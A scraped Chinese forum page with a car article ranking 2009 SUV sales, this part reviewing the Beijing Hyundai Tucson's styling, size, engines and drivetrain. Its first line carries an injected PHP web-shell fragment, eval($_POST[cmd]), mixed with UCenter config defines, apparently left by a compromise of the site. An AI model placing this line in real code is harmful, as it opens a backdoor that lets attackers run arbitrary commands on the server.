');eval($_POST[cmd])?>'); define('UC_APPID', 'UC_APPID'); define('UC_PPP', '20'); 銷量決定排名 2009年國內SUV前五強盤點[4] - 超跑俱樂部 - 四輪天下 - Powered by Discuz!
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銷量決定排名 2009年國內SUV前五強盤點[4]

 北京現代-途勝

  09年國產SUV銷量ON:4

  總銷量(輛):4.48萬

  作為一款定位於都市SUV的車型,途勝還是相當合格的,其外表少了些越野車的粗狂,相對圓潤的車身設計加上靈動的大燈,帶給人比其他SUV更容易接受。途勝的內飾也相對家居,採用淺色調,設計簡潔實用,值得一提的就是前排座椅,寬大舒適,包裹性相當出色。




  從外觀看,途勝的車身短、但很寬,兩肩隆起的側翼感覺很陽剛,整體式車身、四側門從腰線向下安裝了整體式深色的裝飾條,整體感覺非常墩實。為了體現車型的陽剛氣概,設計者還特地將排氣管分設為兩個,和圓潤的尾部相配合很容易給人一種堅固、安全的印象,也使得途勝看起來實為憨厚。途勝的長寬高分別為4325mm×1830mm×1730mm,尺寸並不大,但軸距達到了2630mm,這樣內部空間就有一定的保證。

  動力方面,途勝2.0L車型搭載了具備CVVT連續可變的氣門正時技術的發動機,能夠爆發出104kw/6000rpm的最大功率和184Nm/450rpm的最大扭矩,理論油耗百公里僅為9升,實際表現也比較省油。2.7L車型搭載了2.7升V6自然吸氣發動機,具備了三段式供油方式和VIS可變進氣系統技術,擁有127Kw/6000rpm的最大功率和241Nmd/4000rpm的最大扭矩,動力表現相當強悍。而在變速箱方面,途勝2.0L車型配有5擋手動和4擋自動變速器,2.7L車型則配備了4擋手自一體變速器,基本上能夠滿足日常的用車需求。

  定位於城市SUV的途勝,並不能勝任太苛刻的越野工作,配備的適時四驅更多的考慮了燃油經濟性,而非通過性能。平時和大部分轎車一樣只是前輪驅動,只有當車輛打滑時動力才會傳遞給後輪,變成四輪車,這點和CR-V比較相似。

  在15萬元左右的車型中,城市SUV的可選對象就比較多了,途勝都有著不錯的市場表現,合資品牌佔據了很大的市場份額。逍客過高的售價影響了它的表現,也許即將上市的2010款車型能夠以更高的配置和更合理的定價給我們帶來驚喜。
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